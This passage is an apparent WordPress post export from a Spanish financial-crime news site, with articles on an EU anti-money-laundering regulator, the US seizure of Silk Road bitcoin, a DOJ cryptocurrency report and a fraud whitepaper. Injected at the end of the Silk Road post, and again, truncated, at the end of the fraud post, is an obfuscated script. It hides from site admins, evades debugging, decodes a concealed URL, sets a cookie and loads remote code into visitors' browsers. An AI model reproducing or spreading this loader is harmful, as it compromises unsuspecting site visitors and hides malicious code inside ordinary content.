no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new 